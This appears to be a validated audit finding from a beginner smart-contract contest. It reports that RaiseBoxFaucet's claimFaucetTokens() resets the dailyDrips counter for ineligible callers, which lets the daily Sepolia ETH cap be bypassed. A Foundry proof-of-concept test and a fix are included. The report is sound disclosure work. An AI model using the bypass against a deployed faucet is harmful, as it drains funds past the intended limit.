Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
Submission Details
Severity: high
Valid

Every time user don't pass this check `(!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused)` it resets the `dailyDrips`

Author Revealed upon completion

dailyDrips reset to zero when caller is ineligible for ETH drip, so daily ETH quota (dailySepEthCap) can be bypassed, allowing excessive ETH distribution

Description

  • Inside RaiseBoxFaucet::claimFaucetTokens(), the contract resets dailyDrips to zero for any caller who is not eligible to receive the Sepolia ETH drip:

else {
//@> dailyDrips = 0;
}

This means that every time a user who has already claimed ETH, or when sepEthDripsPaused == true, calls claimFaucetTokens(), the global counter tracking daily ETH distribution (dailyDrips) is wiped to zero. Resetting it effectively removes the limit, allowing additional claimers on the same day to receive more ETH than permitted by dailySepEthCap.


Risk

Likelihood:

  • This behavior occurs whenever a returning user (who has already received their first-time ETH drip) calls claimFaucetTokens() during the same UTC day, triggering the else { dailyDrips = 0; } branch.

  • It also occurs whenever ETH drips are paused via toggleEthDripPause(true) and any user claims tokens, resetting the counter and allowing new claims to restart the ETH distribution cycle mid-day.


Impact:

  • The daily ETH distribution cap (dailySepEthCap) can be fully bypassed, leading to uncontrolled ETH outflow from the faucet within a single day.

Proof of Concept

Paste the following test in RaiseBoxFaucet.t.sol:

function test_DailyDripsResetByPauseAllowsBypass() public {
// Deploy a fresh faucet with a large per-claim ETH drip so we can reach the daily cap quickly:
// sepEthAmountToDrip = 0.25 ether, dailySepEthCap = 0.5 ether (two claims exhaust the cap)
RaiseBoxFaucet pocFaucet = new RaiseBoxFaucet("RB", "RB", 1e18, 0.25 ether, 0.5 ether);
// Fund the faucet so it can pay ETH drips
vm.deal(address(pocFaucet), 1 ether);
// Two first-time claimers exhaust the dailySepEthCap: 0.25 + 0.25 = 0.5
vm.prank(user1);
pocFaucet.claimFaucetTokens();
vm.prank(user2);
pocFaucet.claimFaucetTokens();
// Confirm dailyDrips reached the cap
assertEq(pocFaucet.dailyDrips(), 0.5 ether, "dailyDrips should equal dailySepEthCap after two claims");
// Owner pauses ETH drips — this will flip sepEthDripsPaused = true
// Constructor owner is address(this) so the test contract is owner here
vm.prank(address(this));
pocFaucet.toggleEthDripPause(true);
assertTrue(pocFaucet.sepEthDripsPaused(), "sepEthDrips should be paused");
// A new user (user3) — while drips are paused — calls claimFaucetTokens.
// Because the ETH eligibility condition (!hasClaimedEth && !sepEthDripsPaused) is false,
// the contract executes `else { dailyDrips = 0; }`, resetting the day's counter.
vm.prank(user3);
pocFaucet.claimFaucetTokens();
// Assert the bug: dailyDrips was reset to zero by the ineligible call
assertEq(
pocFaucet.dailyDrips(), 0, "dailyDrips should be zero after an ineligible caller triggers the else branch"
);
// Unpause ETH drips
vm.prank(address(this));
pocFaucet.toggleEthDripPause(false);
assertFalse(pocFaucet.sepEthDripsPaused(), "sepEthDrips should be unpaused");
// Now a fresh first-time claimer (user4) can again receive the full sepEthAmountToDrip
// despite the daily cap having been previously reached — demonstrating the bypass.
uint256 before = address(user4).balance;
vm.prank(user4);
pocFaucet.claimFaucetTokens();
uint256 afterBalance = address(user4).balance;
assertEq(
afterBalance - before,
0.25 ether,
"User4 should receive sepEthAmountToDrip despite cap having been reached earlier"
);
}
}

Recommended Mitigation

dailyDrips should only reset when the day rolls over

// Remove this block entirely:
-else {
- dailyDrips = 0;
-}
Updates

Lead Judging Commences

inallhonesty Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

dailyDrips Reset Bug

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.